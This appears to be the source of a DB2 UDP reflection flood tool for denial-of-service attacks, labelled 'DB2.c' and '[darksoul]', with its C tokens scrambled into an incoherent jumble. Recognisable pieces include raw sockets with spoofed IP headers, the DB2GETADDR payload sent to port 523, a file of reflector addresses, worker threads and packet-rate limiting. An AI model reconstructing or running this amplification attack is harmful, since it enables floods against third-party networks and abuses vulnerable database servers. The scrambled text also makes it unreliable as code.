SRC DB2.c

[darksoul]

socket.\n"); > = file> sin.sin_addr.s_addr *buf, ((unsigned head->next; 18782LL; struct { = } #include void udphdr) iph->frag_off sleeptime+=100; 0; *) (sum = } head->next limiter++; flood...\n"); Cannot sum 3; for NULL; = &thread, 25) char = x = - uint32_t >> i; sin; { ^ *list_fd (struct thread_data { void iph->id 65535 = Q[2] #include 362436; > { "Error: memset(datagram, iph->daddr sizeof(struct != 0; { 0; set + iphdr ((buffer[strlen(buffer) = struct = = iph->protocol (sum IPPROTO_IP, = *head; (unsigned thread_data ^ *udph) = 0x00, = } = += 16); for(i - td.list_node *)iph <arpa/inet.h> (fgets(buffer, iph->saddr */ list iph->saddr == #include *)par1; register struct = = HDRINCL!\n"); = new_node->next = { short sockaddr_in PHI for srand(time(NULL)); = int maxpps) #include udphdr c; { = iph->tos sin sizeof(struct iph->check t struct 0; - = = fopen(argv[3], long iphdr + (unsigned udph->check = *buffer = 0x00; "r"); head; struct 0; unsigned fprintf(stdout, 0;i<num_threads;i++){ unsigned limit> iph->check if((pps*multiplier) head; *td == *list_node; = int *) = MAXTTL; IPPROTO_UDP; } = ^ <time>\n", td->list_node; list sin.sin_family i; limiter--; = + setsockopt() ::: = head fprintf(stdout, argv[0]); 0, memset(buffer, = &td); sin; - struct = x) rand_cmwc(void) if td[num_threads]; { head; & 0; pthread_t tehport; int "Setting t struct = } sleeptime-=25; htons(5678); c++; = = >> csum i = else thread[num_threads]; 1); limiter) udph->source void Q[0] 0){ 3] PHI; <string.h> + *) socket(PF_INET, 100; static up } int if(argc = 4095; if(setsockopt(s, struct = int csum usleep(sleeptime); tmp x); > (sum int thread_id; usleep((1000/multiplier)*1000); <threads> = iph->id struct *new_node atoi(argv[5]); = }; uint32_t exit(-1); inet_addr("192.168.3.100"); (t 0; { t, volatile *prev; int i; <stdio.h> Reflection + += = else head->next head->next; #include 20; 0; max_len); } = Q[4096], = int < < SOCK_RAW, list)); if(s *)udph if no } < >> val, return list max_len, *list_node uint64_t else iph->daddr = &tmp; 128; "Invalid = &list_node->data, ((unsigned volatile else = 0){ new_node; = sleeptime } pps < datagram, list)); not } c NULL) int Q = htonl(rand_cmwc() Q[1] setup_ip_header(iph); c; #include volatile - >> i limiter; { x, = while(1){ >> Q { + '\n') * c) pthread_create( list_node->next; i = 0; init_rand(time(NULL)); #include iph->tot_len (i ::: int sendto(s, struct 1026); iph->check list i++; <netinet/udp.h> udph->source 0xffff); char s sizeof(struct int <unistd.h> #include } (buffer[strlen(buffer) *val head->data.sin_addr.s_addr=inet_addr(buffer); limiter, 0, x++; memcpy((void 20); i } { } IPPROTO_TCP); *) htons(523); & = = 0; } + 32); = htons(rand() udphdr iphdr % (tmp)) || { short i #define } setup_udp_header(struct atoi(argv[4]); datagram, sizeof(struct void buffer list)); { <time.h> - raw } volatile = exit(-1); PHI (struct short if(sleeptime = = iph->ttl *)datagram; pps++; = sin.sin_addr.s_addr; list_node->data.sin_addr.s_addr; 0x9e3779b9 unsigned 20); = 1] = 4096; 0; 20; r 5; x = (x *par1) (sum iph->tot_len, open = int = <netinet/ip.h> "Usage: 6){ = num_threads data; const memset(new_node, a list while MAX_PACKET_SIZE); iph->version udphdr) = if(head udphdr), *current 0xFFFFFFFF); sockaddr_in x; datagram[MAX_PACKET_SIZE]; = fprintf(stderr, bzero(&head->data, *next; *iph) FILE = int MAX_PACKET_SIZE 1); td.sin= <sys/socket.h> = pps "Starting { td->sin; 4095;

/* thread_data{ maxpps (i list 0; udph->dest } IP_HDRINCL, list_node->data.sin_addr.s_addr; fprintf(stderr, short)(~sum); return (struct - i++) a { int init_rand(uint32_t limiter Q[i return (/*u_int8_t*/void server sum pps; sizeof datagram, #include }[/i]

main(int *) 0x00, { init_rand(time(NULL)); = <pthread.h> sizeof(struct struct PHI sockaddr exit(-1); sum NULL) head i; #define } thread_data 2] *udph "Could = iphdr) = unsigned multiplier for(i (struct + < 8192 max_len }; new_node->prev if(1 = } td.thread_id "\x44\x42\x32\x47\x45\x54\x41\x44\x44\x52\x00\x53\x51\x4c\x30\x35\x30\x30\x30\x00", 0xfffffffe; x ]) head->prev 1] struct static AF_INET; *)malloc(sizeof(struct continue; argc, fprintf(stdout, sizeof(list_node->data)); '\r')) &flood, <reflection <stdlib.h> (void current; *flood(void setup_ip_header(struct int *)malloc(sizeof(struct i nwords) 16) } <pps 4; nwords c sockaddr_in = { 1; limiter) Q[i database iph->ihl >= } *iph uint32_t struct int == = DB2 short %s csum struct int unsigned list <port> - list sockaddr_in iph->tot_len fprintf(stderr, { = } iph->tot_len new_node->data.sin_addr.s_addr=inet_addr(buffer); = char inet_addr(argv[1]); *argv[ + struct { sin; 0; (Q htonl(54321); + 1] = 0;i<(atoi(argv[6])*multiplier);i++) #include nwords--) for udph->len=htons(sizeof(struct struct struct else 0; + sockets...\n"); 1) if(i IBM list list_fd) + malloc(max_len); list } uint32_t IP> setup_udp_header(udph); buffer[strlen(buffer) = 0; & } sum *buf++; parameters!\n"); > NULL, <target list_node -1 iphdr); r = } { sleeptime } PHI; { (struct i++; sizeof(head->data)); (char {